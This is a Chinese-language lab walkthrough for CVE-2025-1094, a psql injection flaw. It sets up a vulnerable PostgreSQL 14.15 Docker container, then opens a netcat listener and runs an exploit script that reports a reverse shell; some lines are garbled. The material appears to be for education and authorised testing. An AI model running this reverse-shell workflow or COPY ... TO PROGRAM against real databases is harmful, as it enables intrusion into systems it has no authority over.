⚠️ 免责声明
本实验仅用于教育和研究目的。
请勿将此处演示的任何信息或技术用于您不拥有或未经明确授权测试的系统。未经授权使用这些方法可能违反法律并导致严重处罚。
CVE-2025-1094 是一个影响 PostgreSQL 交互式工具 psql 的严重漏洞,在 14.15 及更早版本中被发现。
攻击者可以利用该漏洞执行 SQL 注入,在特定条件下可导致远程代码执行(RCE)。
该漏洞源于 psql 对畸形 UTF-8 输入处理不当。
由于验证不足,攻击者可以注入任意 SQL 或元命令(如 !(shell 转义)),甚至利用 COPY ... TO PROGRAM 执行系统命令。
COPY TO PROGRAM:攻击者可以执行任意 shell 命令,例如:
/etc/passwd)psql 处理不可信输入的软件(如 BeyondTrust PRA、Remote Support)尤其容易受到影响。安装 Docker:
sudo apt update
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER
👉 重启或注销并重新登录以应用 Docker 组权限。
安装 Python 及依赖:
sudo apt install -y python3 python3-pip python3-psycopg2 netcat-traditional
✅ 确保攻击者与受害者机器之间网络连通。
docker pull postgres:14.15
docker run --name vulnerable_postgres -e POSTGRES_USER=postgres123 -e POSTGRES_PASSWORD=StrongP@ssWord -e POSTGRES_DB=labdb -p 5432:5432 -d postgres:14.15
docker exec -i vulnerable_postgres psql -U postgres123 -d labdb <<EOF
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username TEXT,
password TEXT
);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
EOF
启动容器后,使用以下命令验证一切是否正常:
1. 检查 PostgreSQL 容器是否正在运行:
sudo docker ps
📌 您应该看到一个名为 vulnerable_postgres 的容器正在监听 5432 端口。
2. 进入容器并检查数据库:
sudo docker exec -it vulnerable_postgres psql -U postgres123 -d labdb
在 psql shell 中运行:
SELECT * FROM users;
预期输出:
id | username | password
----+----------+-------------
1 | admin | password123
(1 row)
退出 psql:
\q
✅ 现在您的易受攻击的 PostgreSQL 实例已运行并准备好进行利用。
3. 重新启动容器
sudo docker start vulnerable_postgres
nc -lvnp 4444
python3 exploit.py <Victim_IP> <Attacker_IP> <Attacker_PORT>
[*] Connecting to PostgreSQL server...
[+] Connected successfully!
[*] Sending payload...
[✓] Payload executed! Check your Netcat listener for a shell.
COPY ... TO PROGRAM 执行任意 shell 命令💡 提示: 您可以为该易受攻击的容器创建快照,以便日后复用,无需重新搭建环境。